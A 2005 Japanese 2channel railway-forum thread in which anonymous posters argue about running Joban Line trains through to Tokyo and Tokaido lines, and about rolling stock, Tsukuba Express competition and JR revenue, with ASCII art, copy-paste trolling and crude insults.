100 :はしのえみを@つくばエクスプレス車掌見習い:2005/04/08(金) 20:11:09 ID:bYil9/ub
                     ″;;;;ソ;;;        
                 ___・:;;;・
                 /     彡,・:;・           
                /    ∧ ∧ \  / ̄ ̄ ̄ ̄ ̄      
          .  ./ヾ|     ・ ・   ..| <>>100氏ね!       
           //;;>|     )●(  ..|  \    
         /./γ  \     ー    ノ    \_____       
          ソ _ソ>'´.-!、,\      /             
        τソ    −!   \ ` ー一'´丿 \      
        ノ    二!\   \___/   /`丶、     
       /\  /    \   /~ト、__  /    l \
       / 、 `ソ!  |二二二二,,, ̄ヾ|ゝ    l-7 _ヽ
      /\  ,へi  └─ソ--と---´ ̄ヽ    |_厂 _゙:、
      ∧   ̄ ,ト|    Ε三    \.  | .r'´  ヽ、
     ,ヘ \_,. ' | | ヌルポ   ヽ-、     7\、|イ _/ ̄ \
     i   \   ハ       |::::| `''ー-、,_/  /\_  _/⌒ヽ

101 :名無し野電車区:2005/04/08(金) 20:15:03 ID:fbdC9WBQ
>>1
常磐関係ねーよ。
いれんなよ。

102 :名無し野電車区:2005/04/08(金) 20:54:05 ID:N+Zfbf7u
>>96
簡単に言えば、湘南新宿ライン経由、または東海道線〜(品川乗換)〜山手線経由です。
品川駅で降りることができます。
また、東海道線経由・横須賀線経由の両方を含むので、
川崎駅以外に新川崎駅、西大井駅でも降りることができます。

103 :名無し野電車区:2005/04/08(金) 20:57:41 ID:hhncAIlT
>>98
いずれ415系ステンレス車も置き換えないといけないので、
その際にE531系で置き換えて、サロ組込みで捻出されるサハを
置き換えのE531系に使えばいい。

104 :名無し野電車区:2005/04/08(金) 21:02:48 ID:a3GnlIjT
>>103
そのときは交流専用車を投入してコストを抑え水戸線の運用はE531五連に任せればよい

105 :名無し野電車区:2005/04/08(金) 21:11:35 ID:dfzKYG/B
>>104
それをやると運用効率が悪くなって、余計に車両を置かないといけなくなるので、
コストを抑えた分が相殺されてしまう。

106 :名無し野電車区:2005/04/08(金) 21:17:57 ID:a3GnlIjT
>>105
はぁ?頭悪いんじゃない?
415系と同数置き換えればいいだけだ

107 :名無し野電車区:2005/04/08(金) 21:18:57 ID:Yt5vOapn
>>104
水戸線内の運用は「交流専用車」とやらに任せればよい、の間違いでは?

108 :名無し野電車区:2005/04/08(金) 21:19:35 ID:a3GnlIjT
>>107
はぁ?頭悪いんじゃない?
小山へ行けなくなるじゃん

109 :名無し野電車区:2005/04/08(金) 21:20:49 ID:bwaXWlTi
小山駅構内は直流ですが・・・

110 :名無し野電車区:2005/04/08(金) 21:23:11 ID:0QcAQB9S
415系スレンレス車に関わりなく、仮に東海道線との相互直通を行うなら、
E531系を十数編成増備しないといけないので、
サロ組込みによる捻出サハは増備編成に入れればいいだけ。

111 :名無し野電車区:2005/04/08(金) 21:27:09 ID:z2Un86T4
すると「交流専用車」はどこで使うつもりなんだろうか・・・?
小山駅構内の水戸線部分だけ交流化してもいいような気もするが。

112 :名無し野電車区:2005/04/08(金) 21:29:44 ID:y/qhqOFr
別に捻出サハは潰してもいいと思うけど。

113 :名無し野電車区:2005/04/08(金) 21:39:26 ID:H2Cfnh0D
>>105の意味を理解できない>>106は池沼

 104 :名無し野電車区 :2005/04/08(金) 21:02:48 ID:a3GnlIjT
 >>103
 そのときは交流専用車を投入してコストを抑え水戸線の運用はE531五連に任せればよい

 105 :名無し野電車区 :2005/04/08(金) 21:11:35 ID:dfzKYG/B
 >>104
 それをやると運用効率が悪くなって、余計に車両を置かないといけなくなるので、
 コストを抑えた分が相殺されてしまう。

 106 :名無し野電車区 :2005/04/08(金) 21:17:57 ID:a3GnlIjT
 >>105
 はぁ?頭悪いんじゃない?
 415系と同数置き換えればいいだけだ

114 :名無し野電車区:2005/04/08(金) 21:45:50 ID:D81koFnZ
>>113
市ね
市ね
市ね
市ね
市ね
市ね


115 :名無し野電車区:2005/04/08(金) 21:48:45 ID:Dqr0fnPH
>>110
上野止まりで直通なんかしねーよ

ばーか

116 :名無し野電車区:2005/04/08(金) 21:52:59 ID:Dqr0fnPH
東京直通は東北・高崎のみでいい

117 :名無し野電車区:2005/04/08(金) 22:01:17 ID:DwnNcXA0
東北・高崎・その他もろもろ、どこも来なくていいよ。はっきり言って迷惑。 
東海道住民

118 :名無し野電車区:2005/04/08(金) 22:13:21 ID:1S7s4bNC
>116

だから常磐中電も朝ラッシュ時に東京へ乗入れさせてくれ。
常磐線も対象になっている。

119 :名無し野電車区:2005/04/08(金) 22:18:24 ID:t0O/SLse
>>117
別におまいのトコへいくわけじゃない、気にするな。

120 :名無し野電車区:2005/04/08(金) 22:20:27 ID:fPKjLNky
>>118
常磐はイラネ

以上

121 :名無し野電車区:2005/04/08(金) 22:34:10 ID:9AhktL6y
常磐だけ湘南カラーにしなかったのは、過去も未来も乗り入れさせるつもりはナイからだよ
せめてスカ線カラーだったらね
北海道となら直通出来るんじゃないの?
北海常磐ライン

122 :名無し野電車区:2005/04/08(金) 22:58:48 ID:LgjXlUtq
東北高崎線を尾久で折り返せば、上野の平面交差の問題は解消するよ。

123 :名無し野電車区:2005/04/08(金) 22:58:52 ID:oMfYsmfP
東海道線利用者だけど、東海道線に何が乗り入れてくるのか、
東京駅に何が乗り入れてくるのか、高みの見物をさせてもらってます。
上野まで行ければ行き先が水戸でも宇都宮でも前橋でも構わないので。

124 :名無し野電車区:2005/04/08(金) 23:02:31 ID:RzlnjM0x
まあまあ。
これまで「ダサイタマ」などと山形県以下の扱いを受けてきた埼玉民が、
縦貫線の排他的使用で気持ちを落ち着けられるならいいじゃないか。
大東海道線と相互直通できるという栄誉に与れるんだから。

125 :名無し野電車区:2005/04/08(金) 23:02:54 ID:sFMOYfep
いいこと思いついた
東海道線を上野発着にすればいいんだよ
あとは現状維持

126 :名無し野電車区:2005/04/08(金) 23:04:48 ID:4BizqBcL
>>122
上野地平ホーム折り返しでもOKです。

127 :名無し野電車区:2005/04/08(金) 23:04:49 ID:1S7s4bNC
常磐中電も朝ラッシュ時に東京へ乗入れさせてくれ。
常磐線も対象になっている。


128 :名無し野電車区:2005/04/08(金) 23:12:08 ID:LgjXlUtq
>>127
取手以北の直流化ができたらの話だがな

129 :名無し野電車区:2005/04/08(金) 23:20:10 ID:b0lSxOQc
>>128
取手快速でもいいよ

130 :名無し野電車区:2005/04/08(金) 23:20:16 ID:gxowhYm9
>>128
E531系を増やせばいいだけでは?

131 :名無し野電車区:2005/04/08(金) 23:49:54 ID:rzXA3KYz
>>129
トイレ無しの通勤型がネックにならないのかな。建前上

132 :名無し野電車区:2005/04/09(土) 00:03:55 ID:VFpc7LG/
> 118 名前:名無し野電車区[] 投稿日:2005/04/08(金) 22:13:21 ID:1S7s4bNC
> >116

> だから常磐中電も朝ラッシュ時に東京へ乗入れさせてくれ。
> 常磐線も対象になっている。

> 127 名前:名無し野電車区[] 投稿日:2005/04/08(金) 23:04:49 ID:1S7s4bNC
> 常磐中電も朝ラッシュ時に東京へ乗入れさせてくれ。
> 常磐線も対象になっている。


何度も同じ文章コピペするしつこい常磐厨は
自分の立てたスレに引き籠もってればいいのに↓
http://hobby7.2ch.net/test/read.cgi/rail/1107942794/

133 :名無し野電車区:2005/04/09(土) 00:05:59 ID:LgjXlUtq
>>131
東海道利用者としてもロングシートの通勤型の方がありがたい。

134 :名無し野電車区:2005/04/09(土) 00:11:15 ID:X3T1jryA
>>131
中央線にあげれば良いじゃん。>通勤仕様
それより常磐線は品川折り返しを設定した方が、
縦貫線によって不利益が出る東海道線利用者の為になるのだが。

135 :名無し野電車区:2005/04/09(土) 00:19:45 ID:1DRtj4IF
>>134
酒とゲロとションベンの染みこんだ車輌なんか要りません

136 :千葉県に住宅を買う予定のある皆様へ:2005/04/09(土) 00:23:51 ID:No6THB2Y
このスレは、千葉県の中でも特に交通の不便な地域である
常磐線沿線に在住の人々が、少しでも都心へのルートを改善させたいという
欲求を満たすべく「常磐線を東海道線に乗り入れさせろ!」と主張するスレです。

常磐線は、他線に比べてターミナルが貧弱なことで有名であり、
日中は電車の本数も少なく、さらに各駅停車は千代田線に乗り入れる関係で
必要以上に不便な乗り換えを強いられているというのが現状です。
そのために、このようなスレで日頃の鬱憤を晴らそうとしてしまうのでしょう。

もしあなたが千葉県に住宅を購入しようとしているのであれば、
多少値段は上がりますが総武線沿線に住むことを強くおすすめします。
通勤の利便性のほか、精神面での余裕も違います。
もちろん車内で酒盛りをする乗客も目立ちませんしね。

137 :名無し野電車区:2005/04/09(土) 00:34:14 ID:/DvrMclY
>>134

北行きの品川始発など東海道利用者の役には立たないが

138 :名無し野電車区:2005/04/09(土) 01:08:21 ID:d18gN2ye
まあまあ。
これまで「ダサイタマ」などと山形県以下の扱いを受けてきたサイタマ民が、
縦貫線の排他的使用で気持ちを落ち着けられるならいいじゃないか。
大東海道線と相互直通できるという栄誉に与れるんだから有難く思え。

139 :名無し野電車区:2005/04/09(土) 01:13:16 ID:lUakj3ub
直通しなくていいでしょ。
別に東海道線沿線には用事ないし。

もっとも直通運転しないと東京駅のホーム容量の問題があるが
この点は東海道線が全列車品川折り返しになればOK。

140 :名無し野電車区:2005/04/09(土) 01:16:54 ID:LK49alYx
直通しなくていいでしょ。
別に東北線高崎線沿線には用事ないし。

もっとも直通運転しないと東京駅のホーム容量の問題があるが
この点は東北線高崎線が全列車上野折り返しになればOK。

141 :名無し野電車区:2005/04/09(土) 01:22:50 ID:w3f11Ga8
>直通しなくていいでしょ。
>別に東海道線沿線には用事ないし。
>もっとも直通運転しないと東京駅のホーム容量の問題があるが

神田あたりで折り返して下さい。

142 :名無し野電車区:2005/04/09(土) 01:24:02 ID:eoS5awuJ
直通しなくていいでしょ。
別に東北線高崎線沿線には用事ないし。

もっとも直通運転しないと東京駅のホーム容量の問題があるが
この点は東北線高崎線東海道線常磐線が全列車上野折り返しになればOK。

143 :名無し野電車区:2005/04/09(土) 01:32:45 ID:EJgjTLze
直通しなくていいでしょ。
別に東北線高崎線常磐線沿線には用事ないし。

もっとも直通運転しないと東京駅のホーム容量の問題があるが
この点は東北線高崎線東海道線常磐線が全列車上野折り返しになればOK。

144 :名無し野電車区:2005/04/09(土) 02:11:58 ID:ZcNK3Sm9
東海道在来線もJR東海にして隔離すればいい

145 :名無し野電車区:2005/04/09(土) 02:28:41 ID:/DvrMclY
>>144
じゃあ東北本線はJR北海道でいいな

146 :名無し野電車区:2005/04/09(土) 02:29:33 ID:lz9P5Umx
>>144
熱海以西は既に東海ですが・・・?

147 :名無し野電車区:2005/04/09(土) 02:43:38 ID:/DvrMclY
ださいたまもチバラキもこれで仲良くしろ

東北本線〜尾久〜三河島〜常磐線

148 :名無し野電車区:2005/04/09(土) 11:56:11 ID:93NT8rQS
そんなのいらね

149 :名無し野電車区:2005/04/09(土) 12:01:51 ID:29m9rFbd
常磐方面は乗り入れ必要


150 :名無し野電車区:2005/04/09(土) 14:27:36 ID:JqCnJo9h
149 名前:名無し野電車区[] 投稿日:2005/04/09(土) 12:01:51 ID:29m9rFbd
常磐方面は乗り入れ必要


635 名前:名無し野電車区[] 投稿日:2005/04/09(土) 14:19:24 ID:29m9rFbd
なんでもいいから
常磐中電の東京乗り入れをどうにか実現してほしい。



151 :名無し野電車区:2005/04/09(土) 15:34:22 ID:O8nZQZdn

何について調べますか?

 ───────────────
| 何について調べますか?
| ┌────────────┐
| | 常磐厨を消す方法      |
| |                   |
| └────────────┘
| [ オプション(O) ]   [ 検索(S) ]
| 
`──────────┐ ┌───
           , '´l,  ..| ./
       , -─-'- 、i_  |/
    __, '´       ヽ、
   ',ー-- ●       ヽ、
    `"'ゝ、_          ',
      〈`'ー;==ヽ、〈ー- 、 !
       `ー´    ヽi`ヽ iノ
                ! /
              r'´、ヽ
              `´ヽノ

152 :名無し野電車区:2005/04/09(土) 16:59:58 ID:/DvrMclY
 ───────────────
| 何について調べますか?
| ┌────────────┐
| | 粘着厨>>150-151を消す方法|
| |                   |
| └────────────┘
| [ オプション(O) ]   [ 検索(S) ]
| 
`──────────┐ ┌───
           , '´l,  ..| ./
       , -─-'- 、i_  |/
    __, '´       ヽ、
   ',ー-- ●       ヽ、
    `"'ゝ、_          ',
      〈`'ー;==ヽ、〈ー- 、 !
       `ー´    ヽi`ヽ iノ
                ! /
              r'´、ヽ
              `´ヽノ

153 :名無し野電車区:2005/04/09(土) 17:36:06 ID:ZsSXYbUY
>>149
東京〜品川は間に合ってますので、上野でお引き取りください

154 :名無し野電車区:2005/04/09(土) 17:45:25 ID:RBw4jHo/
    /三ミミ、y;)ヽ
   /三 ミミ、ソノノ、ヾ、}
   ,':,' __  `´ __ `Y:}
   }::! { : :`、 ,´: : j !:!
   {:|‐=・=‐ i !‐=・=‐|:}   
  r(   / しヘ、  )j    常磐厨、あんまりしつこいと
  g !  ` !-=‐!´ ,ノg    あなた達地獄へ逝くわよ
    \._ヽ _´_ノ ソ          
  __,/ ヽー ,/\___
  |.:::::.《  ヽー/  》.::.〈
 //.:::.`\      /'.:::.ヽ\

155 :名無し野電車区:2005/04/09(土) 17:51:41 ID:zhN/KQH4
とりあえずお墓参りを欠かさないことだな。
もちろん、そのお墓は都心には無い。


156 :名無し野電車区:2005/04/10(日) 00:21:44 ID:uIO7F6wA
>>155
ありますよ? うちのお墓、日暮里駅のすぐ上です。マジな話。
漏れも数十年後はあそこかな、やっぱ。毎日電車がいっぱい
見物できてうれしいなw

157 :名無し野電車区:2005/04/10(日) 02:46:58 ID:oTMsBjo6
漏れが以前、秋葉原から田端まで線路伝いに徒歩で行こうとして迷い込んだ場所だ。。

158 :名無し野電車区:2005/04/10(日) 10:04:11 ID:tUyVczns
>>156
数十年後以降、未来永劫時々グモをお見かけすることになるのですね。

159 :名無し野電車区:2005/04/12(火) 10:26:31 ID:X5dtigKr
常磐線も東京乗り入れすべき!

線路設備や車両の関係で乗り入れできないことぐらい知っていますよ!
だがJRは常磐線にも配慮すべき
ただ常磐線の利用者だって高い運賃を払っているのだから、
JRは1本でも多くの常磐線が東京に乗りれできるようにすべきだと思う。




160 :名無し野電車区:2005/04/12(火) 10:30:34 ID:X5dtigKr
常磐線のすべての電車が東京へ行けとは言ってない。
一部でも乗り入れすべきだと言っている。
東京へ行くすべての列車が宇都宮・高崎線になる、というから許せん。


161 :名無し野電車区:2005/04/12(火) 10:38:16 ID:hJwebMPX
相模線も東京乗り入れをすべき!

線路設備も新たに新設する必要ないし、車両も茅ヶ崎で付属の5両を切り離せば
いいだけだし。
JRは相模線にも配慮すべき
相模線の利用者は電車特定区間じゃない高い運賃を払っているのだから、
JRは1本でも多くの相模線が東京に乗りれできるようにすべきだと思う。

162 :名無し野電車区:2005/04/12(火) 11:31:36 ID:kdy6QGcP
>>159-160
常磐線は東海道線直通にするとE531系の増備費がかさむので、
せいぜい東京止まりみたいだよ。

163 :名無し野電車区:2005/04/12(火) 11:34:07 ID:izLECzq/
川越線も東京乗り入れをすべき!

(以下略)

164 :名無し野電車区:2005/04/12(火) 11:44:43 ID:aV4ZlOu8
>>163
昔、八王子経由の東京〜川越の列車があったとかなかったとか…

165 :名無し野電車区:2005/04/12(火) 13:29:53 ID:zfg1sRPE
>>159-160

http://hobby7.2ch.net/test/read.cgi/rail/1110796208/701

マルチ乙

166 :名無し野電車区:2005/04/12(火) 14:05:38 ID:rebFWxf5
相鉄線も東京乗り入れをすべき!

線路設備も新たに新設する必要ないし、車両も厚木で付属の5両を切り離せば
いいだけだし。
JRは相鉄線にも配慮すべき
相鉄線の利用者は電車特定区間じゃない高い運賃を払っているのだから、
JRは1本でも多くの相鉄線が東京に乗りれできるようにすべきだと思う。

167 :名無し野電車区:2005/04/12(火) 14:13:21 ID:rebFWxf5
>>159-160
我孫子から成田線総武本線経由で乗り入れれば?

168 :名無し野電車区:2005/04/12(火) 17:33:32 ID:bnt49Vaa
今こそ東武伊勢崎線の山手線接着を!

169 :名無し野電車区:2005/04/12(火) 19:08:54 ID:rebFWxf5
>>168
日比谷線経由で上野に接着してますが

170 :名無し野電車区:2005/04/12(火) 19:11:04 ID:izLECzq/
>168
夢が小さいな。
常磐厨が東京行を主張する権利があるのだから、
伊勢崎線厨も東京行を主張する権利があるだろう。

常磐厨は差別反対!と唱えているのだから、私鉄差別なんて無しだぜ。
何かを理由に特別扱いするなら、それはそのまま自分にも返ってくるからな。

171 :名無し野電車区:2005/04/12(火) 20:47:16 ID:e3jujAmH
まあ、顧客要求を出すのは当然の権利だな。
しかし、それがスレを荒らしてよい、ということには繋がらないぞ。

172 :名無し野電車区:2005/04/13(水) 08:46:21 ID:M1/NmUgA
>>170は竹ノ塚の踏み切りに磔に。


173 :名無し野電車区:2005/04/13(水) 16:35:48 ID:1Y7zzQg4
スーパーひたちを常磐線から千代田線経由で江ノ島、箱根まで乗り入れろ。  

174 :名無し野電車区:2005/04/16(土) 04:58:42 ID:fWv6SMJY
>>173
御殿場線東海道本線経由で名古屋まで乗り入れろ

175 :名無し野電車区:2005/04/16(土) 05:10:31 ID:cs0tTImI
京浜間の利用の時に、G車のない常磐線の車両に当たれば嬉しいのだが。

176 :名無し野電車区:2005/04/16(土) 08:22:52 ID:fWv6SMJY
G車撤廃賛成

177 :名無し野電車区:2005/04/16(土) 09:46:44 ID:8VguqhaN
G車を含む編成はすべて15両で運転汁!
夕方ラッシュ時の鬱線新宿方面発下りは悲惨すぎ

178 :名無し野電車区:2005/04/16(土) 12:08:50 ID:fQLAs5LC
>>170
お前の夢はその程度か。

179 :名無し野電車区:2005/04/16(土) 12:22:03 ID:Gc3+Fsd1
常磐厨はお子様ばっかだから仕方ないな

180 :名無し野電車区:2005/04/18(月) 20:58:20 ID:x51tC5Yl
揚げ

181 :名無し野電車区:2005/04/19(火) 10:11:59 ID:/GxNgBL9
常磐線はグリーンを積んでから出直し。
まぁ、1.常磐線利用者側からは混雑増で反対
   2.鉄道会社側は特急の利用率低下で反対
となるだろうが…。
湘南新宿ができた当時の
グリーンあるなしの混在は見苦しかったし。


182 :名無し野電車区:2005/04/20(水) 22:14:01 ID:vM+xe2hH
>>181

TXで若干減るだろうから、グリーンを組み込むのも可能じゃないか?
特急が止まらない駅での利用客が見込めるだろう。


183 :名無し野電車区:2005/04/22(金) 08:01:26 ID:cnak2prx
>>182
むしろ特急増発だろう。
今30分ヘッドだけど将来20分ヘッドにしたり。

184 :名無し野電車区:2005/04/22(金) 10:40:43 ID:e0TG/i5O
スレ違いですが‥‥将来、女性専用車をつけるくらいなら、G車をつけて欲しいと思います。

185 :名無し野電車区:2005/04/22(金) 13:22:22 ID:o2Jf1scY
東海道線と常磐線がのりいれするようになったら
我孫子とかで「小田原ゆき、をみることができるのかな?

186 :名無し野電車区:2005/04/22(金) 13:35:58 ID:ghOfWM26
良くても東京乗り入れだけだからそれはない

187 :名無し野電車区:2005/04/22(金) 14:51:52 ID:vtO+LQj1
>>183
常磐線は俺もその方向だと思う。

188 :名無し野電車区:2005/04/22(金) 16:55:22 ID:FgwXS5ZZ
>>187
湘南新宿の例を見ても分かるが、ライバル線がある路線に優遇ダイヤを
組んでくる節がある。

TXに予想以上に客が流失したら、既定路線の変更もありえる。
常磐線の直通に関しては、今の段階では何とも言えないね。




189 :名無し野電車区:2005/04/22(金) 21:26:27 ID:4CpZXLeE
>>188
non。
整理。
・東北縦貫線の(JR的)目的
現在上野と東京でそれぞれ折り返している中電を直通させることにより、効率化を図る。
(運用の削減、泉岳寺の再開発)

これを踏まえて。

TXの開通による(JR的)問題は、客の流出 
 ではなくて、「収入減」
つまり、取るべき対策は収入増になること。

・常磐厨の発言→朝含む終日乗り入れ。→これは対策にならない。
理由:朝ラッシュの流出を止めるには効果大!
しかし、朝ラッシュの乗客は利益の低い定期客。収入減を抑える事はできるが、増収にはならない。
常磐線を東北縦貫に入れるためには、さらに投資をする必要がある。
さらに、東北縦貫の当初目的
「・現在上野と東京でそれぞれ折り返している中電を直通させることにより、効率化を図る。」に反する施策になる。


JRの取りそうな、ただしい増収策

・日中の常磐線縦貫乗りいれ
線路容量に余裕のある日中なら、大きな投資をしなくても縦貫乗り入れは可能。
利益率の高い、非定期客を確保することができる。

・ラッシュ時の特急(ライナー、G車)運行
ラッシュ時の利用客が減ることを利用して、ラッシュ時に特急等を運行する。
首都圏各線のG車、ライナー等は大盛況であるし、フレッシュひたちも大盛況。
朝ラッシュ時に走らせれば間違いなく大増収。

190 :名無し野電車区:2005/04/22(金) 21:36:54 ID:FgwXS5ZZ
>>189
湘南新宿は、普通料金で乗れるが。
JRは、定期利用者も確保したいというのは、湘新ラインで分かる。

191 :名無し野電車区:2005/04/22(金) 21:40:23 ID:K920tEKv
>>189
妥当な線と思われ。

意地悪いうと目的では

 東京ー上野間の混雑率の緩和がより重要だが

192 :名無し野電車区:2005/04/22(金) 22:12:46 ID:jbOoIvAu
日中も常磐中電は乗入れないだろう。

だいたいTXの目的は「常磐線の混雑緩和」だよ????????
常磐線はこれを機にJRは敗戦にすべき
あくまで縦貫線は宇都宮高崎限定!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

193 :名無し野電車区:2005/04/22(金) 22:22:27 ID:ymyQbedo
それなら常磐線を10・8・7番線にいれて宇都宮線や高崎線からの東京行きに接続すれば良い話じゃん



194 :名無し野電車区:2005/04/22(金) 22:44:44 ID:1IZ+Ylaf
JR東は最近はやるときゃあやるよ!
東京モノレールも京急羽田快特増発に対抗して、
快速終日運転に続き、快速を20分毎運転の1.5倍にするよ!

競争にはかなりシビアになっている。
常磐東京乗り入れの抜本的見直しをしてくるだろう。

195 :名無し野電車区:2005/04/22(金) 22:46:15 ID:jbOoIvAu
>>193
だめ!!!
常磐厨は山手・京浜トウホグをご利用ください。

196 :名無し野電車区:2005/04/22(金) 22:46:50 ID:jbOoIvAu
日中も常磐中電は乗入れないだろう。

だいたいTXの目的は「常磐線の混雑緩和」だよ????????
常磐線はこれを機にJRは敗戦にすべき
あくまで縦貫線は宇都宮高崎限定!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


197 :名無し野電車区:2005/04/22(金) 23:03:30 ID:K920tEKv



  必 死 な レ ス が 厨 疑 惑 を 招 く




198 :名無し野電車区:2005/04/22(金) 23:21:42 ID:FgwXS5ZZ
>>194
そうか湘南新宿の他にモノレールもあったか。
JRがTX対策をするという可能性は十分あるな。

199 :198:2005/04/22(金) 23:33:05 ID:FgwXS5ZZ
千葉より埼玉の方が、メリットが大きいのかなということを付け加えておく。


200 :名無し野電車区:2005/04/22(金) 23:33:20 ID:8UhcVkcQ
伊勢崎線〜半蔵門線でJR宇都宮線と久喜〜都心対決してくれないかなぁ。

201 :名無し野電車区:2005/04/22(金) 23:50:12 ID:1IZ+Ylaf
>>200
JR宇都宮線利用者が1日10万人
伊勢崎線〜半蔵門線に流出が予想されれば
JR東もすぐに対策をとるよ!

202 :名無し野電車区:2005/04/22(金) 23:52:09 ID:fSS3/0FR
>>198
合体すると湘南モノレール

203 :名無し野電車区:2005/04/22(金) 23:56:55 ID:OtCVxuXQ
>>189
もっともらしく書いてるが、思い込みも多いな。
泉岳寺の再開発には、ブルトレ等がいる東京機関区(今でもそういうのか知らないが)
を整理して、そこで生み出される土地を活用するほうがメイン。直通で効率化とか言っ
てるが、チタは原則温存。
主目的は、191が言うように山手・京浜東北・東京・上野ターミナルの混雑緩和。
前にも出たが、直通したって効率化はそれ程はかれない。朝夕北と南のそれぞれを先に
伸ばしたところで、逆方向に列車本数が増えるだけで、無駄は運用になってしまう。さ
っさと基地にしまいこんだ方が効率的。

ついでながら、通勤時間帯に特急列車を増やしたところで「大増収」にはならない。多
少の増収にはなるけどね。


204 :名無し野電車区:2005/04/23(土) 00:15:44 ID:g0oI4+iu
>203

> 朝夕北と南のそれぞれを先に
> 伸ばしたところで、逆方向に列車本数が増えるだけで、無駄は運用になってしまう。

むか〜しから出ていますが。。。。。
列車は上ったらたら下らなきゃいけないんだよ、現状でも。
列車本数増えないでしょうが。
まぁ、事故の波及効果が大きくなるのは確かだけどねぇ。

> さっさと基地にしまい込んだ方が効率的。

南から尾久へ、北から品川へ送り込んだ方が運転方向を変えなくて済むので
余っ程効率的だと思うのだけれど。

















と釣られてみる。。。。。

205 :名無し野電車区:2005/04/23(土) 00:24:44 ID:XiWmfddj
>>204
朝ラッシュ、どれだけの本数が走ってるのか、わかって↑こういう事いってんのかねぇ・・・

206 :名無し野電車区:2005/04/23(土) 00:35:55 ID:Z8LxrK+J
本日の東北高崎厨語録
※「敗戦」は「廃線」のことと思われる。

192 :名無し野電車区 :2005/04/22(金) 22:12:46 ID:jbOoIvAu
日中も常磐中電は乗入れないだろう。
だいたいTXの目的は「常磐線の混雑緩和」だよ????????
常磐線はこれを機にJRは敗戦にすべき
あくまで縦貫線は宇都宮高崎限定!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

207 :名無し野電車区:2005/04/23(土) 00:47:16 ID:cKk1ivTc
もう遅いかもしれんが、北千住もしくはその先でTXに乗り入れさせてもらえば?
秋葉原までは逝けるよん(いずれ東京も)...などと云ってみる。

208 :名無し野電車区:2005/04/23(土) 00:59:55 ID:wVMvZugN
>>205
朝の折返しは約半数が回送列車なわけだが。

209 :名無し野電車区:2005/04/23(土) 01:26:10 ID:yljIGz3F
朝は「薄利」な定期券利用者ばかりだから、TXに流出して結構と言ってる人がいるが、
ラッシュ時に乗客の1割が流出するのと、昼間に乗客の1割が流出するのとでは、
流出率は同じでも、流出数はぜんぜん違わなくないか?

210 :名無し野電車区:2005/04/23(土) 01:28:59 ID:wVMvZugN
>しかし、朝ラッシュの乗客は利益の低い定期客。収入減を抑える事はできるが、増収にはならない。

常磐線はどうやっても増収にはなりませんが?

211 :名無し野電車区:2005/04/23(土) 01:35:06 ID:Em1djoLb
>>210
収入減を抑えられればいいのでは?

212 :名無し野電車区:2005/04/23(土) 01:36:56 ID:FsXHEZuI
>常磐線はどうやっても増収にはなりませんが?

東北線高崎線も増収にならないと思います。

213 :名無し野電車区:2005/04/23(土) 01:39:18 ID:wVMvZugN
>>211
だからそういってるんですがなにか?

214 :名無し野電車区:2005/04/23(土) 01:47:46 ID:qE/DGuoc
通勤定期の割引率はだいたい5割強。
定期中心のラッシュ時の利用客が、普通乗車券中心の昼間利用客の
2倍程度以内なら、定期券利用者は無視して、昼間の利用客に
力を入れた方がよい。

215 :名無し野電車区:2005/04/23(土) 01:52:10 ID:Pgdbr3ft
>>376
ほとんど変わってないが以前は朝、夕のラッシュ時に
本線に乗り入れる定期運用があった気がする。
しかもグリーン車は開放の状態で。

216 :名無し野電車区:2005/04/23(土) 01:54:01 ID:wVMvZugN
>>214
>定期中心のラッシュ時の利用客が、普通乗車券中心の昼間利用客の
>2倍程度以内なら、

なわけないだろ。

朝ラッシュと昼間の運転本数・編成両数・混雑率を勘案した上で言ってるのか?

217 :名無し野電車区:2005/04/23(土) 01:58:05 ID:0iKlpuMK
>>216
埼玉人としては朝方に常磐線が乗り入れないように
「2倍以内」を期待しているのだろう。

218 :名無し野電車区:2005/04/23(土) 02:01:23 ID:SGftjbsb
JRは、定期利用者も確保したいはず。
湘南新宿の朝の増発を見ればな。

219 :名無し野電車区:2005/04/23(土) 02:04:30 ID:wVMvZugN
快速線上り 松戸駅場面

 7時台 15両×16本 混雑率200%
12時台 10両×6本+15両×2本 混雑率80%

単純計算でも6.5倍以上の開きがあるんですが。

220 :名無し野電車区:2005/04/23(土) 02:06:33 ID:gnP/nnE9
常磐線乗入基本に変更するかは、投資に見合った収益が確保できるかどうかだろう。
常磐線基本に変更すると、直流車の交直流車への置き換え変更や、
上野10番線の東京方面進出可能化工事などで、多分100億近くかかる。
TXによる減収が年120億と見込まれるそうだが、
仮に減収を年110億に抑えられるのなら、100億近く余計に金がかかっても、
10年で元が取れる。
だが、減収を年に119億にしか抑えられないなら、元を取るのに100年かかるから、
100億近く投資する意味がない。
どの程度の投資効果があるか、それをJRがどうみるかだろう。

221 :名無し野電車区:2005/04/23(土) 02:08:30 ID:gnP/nnE9
>「直流車の交直流車への置き換え変更や」

「変更」の二文字はいらないな。


222 :名無し野電車区:2005/04/23(土) 03:23:09 ID:ZKsond5R
>>220
東海道の車両は取手で折り返せば問題なし。

223 :名無し野電車区:2005/04/23(土) 03:24:42 ID:0DSz1OBq
またまた頭の悪いレスばっかりですね〜

224 :名無し野電車区:2005/04/23(土) 03:26:53 ID:0XQi1A2Z
>投資に見合った収益が確保できるか

それを言っちゃえばなんだってそりゃそうなんだけど、
ただ、東北線高崎線の乗り入れを基本とした場合は、京浜東北線や山手線の乗客が
縦貫線に分散するだけで、利用客が全体として増えるわけではないから、
その場合は「投資に見合った収益」とやらをどう考えればいいものかね?
上野〜東京の混雑が緩和すれば、東武伊勢崎線の客を奪えるかね?

225 :名無し野電車区:2005/04/23(土) 05:27:34 ID:ZKsond5R
>>224
むしろ新幹線利用者が在来線に流れて減収になるかもな。

226 :名無し野電車区:2005/04/23(土) 06:17:59 ID:h8qx0zQy
>>224
「社会的使命」ってものがある。
いつまでこの混雑を放置しておくんだ!
と世間の批判を受ければそれは束にとってダメージとなる。
混雑度って数字はそれだけ影響力が大きい。
だから、それを改善するための投資も有効なんだよ。
それを具体的な「収益」に換算するのは非常に困難なのだが、
それは「安全対策」と同じく、ある程度は必要なものだと考えられている。

227 :名無し野電車区:2005/04/23(土) 06:19:23 ID:+yWS5/xF
運用が効率化されればコストが減るから収益も上がる。

228 :名無し野電車区:2005/04/23(土) 07:05:39 ID:ZKsond5R
>>226-227
それは常磐線の場合も同じ

229 :名無し野電車区:2005/04/23(土) 10:22:28 ID:EFK43Glp
>>224
再開発の収益でトントン

